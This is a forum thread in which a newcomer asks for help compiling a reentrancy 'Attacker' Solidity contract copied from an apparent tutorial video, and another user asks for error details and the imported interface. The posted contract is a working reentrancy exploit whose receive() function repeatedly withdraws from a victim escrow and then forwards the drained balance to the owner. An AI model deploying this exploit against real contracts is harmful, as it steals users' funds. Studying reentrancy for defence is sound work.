[SOLVED] About a contract code, reentrancy YouTube tutorial

Moralis General
#1

Hello everyone I’m new in moralis .oi ,so I’m here for a help, I was following a video that was post in YouTube about contract attack , so I think someone who is from moralis.oi did the video , please I’m here for help I have learn a lot of things about contract and I have create a new contract, but I’m trying to see how does attack works, so I copy a contract code that the person drop in the video so I complie the contract but my problem is that it has a lot of error and I don’t know why I wish you people can help me in this issues thank you

#2

You will have to provide more info, like what errors are you getting, what is the contract code, how you are trying to compile it

#3 
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.9.0;
import {Escrow } from "./interfaces/EscrowInterface.sol";

contract Attacker {

    event Exploited(address target, uint balance);

    address owner; // Makes contract ownable.
    
    Escrow escrow;
    uint deposit;
    bytes32 escrowID;

    constructor (){
       owner = msg.sender;
    }

    function attack(bytes32 _escrowID, address _victim, uint _deposit) external {
        escrow = Escrow(_victim);
        escrowID = _escrowID;
        deposit = _deposit;
        escrow.withdrawFunds(escrowID);
    }

    function transferBalance() external {
        require (msg.sender == owner, "only owner function");
        address payable _owner = payable(msg.sender);
        _owner.transfer(address(this).balance);
    }

    receive() external payable {
        if (address(escrow).balance >= deposit) {
            escrow.withdrawFunds(escrowID);
        }
        emit Exploited(address(escrow), address(escrow).balance); 
    }
}
#4

Here’s the code So if I try to complie it with is solidity code =0.6.2 , so it’ll show “/interfaces {EscrowInterface.sol”; error but let me say from the beginning till stop at receive () external payable { ,it shows error , mean the contract code there’s a lot of mistake , please can you help me in this issues

#5

this look like an import, you may also need the source code for that file that is used in this import

#6

This contract a team from moralis.io may I video about attack so in the video , he also drop the contract code , which is the one I sent to you , but the problem is that there’s an error if I try to complie it , please can you help me look at the contract

#7

Do you have the entire contract code?

Did you compile a contract before?

#8

The contract code is 0.6.2 solidity

#9

I mean the entire contract code not the version of solidity

#10

I don’t know, but I think you can complie it and check

#11

Hello sir please I need your help please if you see my message reply me please sir I’ll really appreciate you if you can help me, I’m having a bug whenever I try to complie my contract please you gotta to help me

#12

check that import mentioned in this reply

#14

Here’s the file source code sir ,you can look at it

#15

was that code with that EscrowUnsafe included in the code that was compiled initially?

#16

Yes sir ,the file source code can complie

#17

But the little issues I’m having in first contract code is that there’s an error which I’m looking for a way to fix it that’s why I text, because the code was made by team of moralis.io , so sir I can show you the error I’m getting

#18

I thought that the error was related to that import

what is the error that you get? when do you get that error?

#20

I’m only getting error like parserError: Expected,’;’ function,

#21

And also there’s a lot of error, please can you help me and copy this contract code I sent to you, and complie it ,if you could help me fix the error

#22

Can you look on how to post code on forum?
There is a forum thread that explains that.